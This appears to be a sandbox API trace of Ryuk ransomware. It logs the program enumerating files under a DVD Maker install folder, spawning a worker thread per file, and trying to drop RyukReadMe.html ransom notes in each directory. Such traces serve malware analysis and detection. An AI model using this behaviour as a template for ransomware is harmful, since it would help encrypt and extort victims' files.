	[0188.050] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.050] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0188.050] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20
	[0188.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.055] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x76, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1
	[0188.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24
	[0188.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.144] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x76, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0
	[0188.144] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0188.144] SetLastError (dwErrCode=0x0) 
	[0188.145] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.145] GetLastError () returned 0x5
	[0188.145] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0188.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1
	[0188.145] SetLastError (dwErrCode=0x0) 
	[0188.145] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.146] GetLastError () returned 0x5
	[0188.146] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0188.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0188.153] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0188.154] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0188.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28
	[0188.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.157] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0188.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c
	[0188.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.160] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0188.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30
	[0188.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.163] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0188.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34
	[0188.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.165] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0188.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38
	[0188.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.169] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0188.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c
	[0188.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.439] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0188.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40
	[0188.443] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.444] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0188.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44
	[0188.447] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.448] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x76, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1
	[0188.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48
	[0188.451] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.451] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x76, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1
	[0188.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c
	[0188.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.455] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x76, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1
	[0188.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50
	[0188.458] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.459] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x76, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0
	[0188.459] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0188.461] SetLastError (dwErrCode=0x0) 
	[0188.461] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.473] GetLastError () returned 0x5
	[0188.473] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0188.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.473] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x62, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1
	[0188.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04
	[0188.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.763] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x62, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0
	[0188.764] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0188.764] SetLastError (dwErrCode=0x0) 
	[0188.764] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.764] GetLastError () returned 0x5
	[0188.764] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0188.764] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.765] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x54, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1
	[0188.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc
	[0188.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.769] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x54, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1
	[0188.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54
	[0188.771] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.772] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x54, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0
	[0188.772] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0188.772] SetLastError (dwErrCode=0x0) 
	[0188.773] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.773] GetLastError () returned 0x5
	[0188.773] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0188.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.773] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x40, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1
	[0188.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0188.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0188.777] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1
	[0188.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0188.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf58
	[0188.780] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
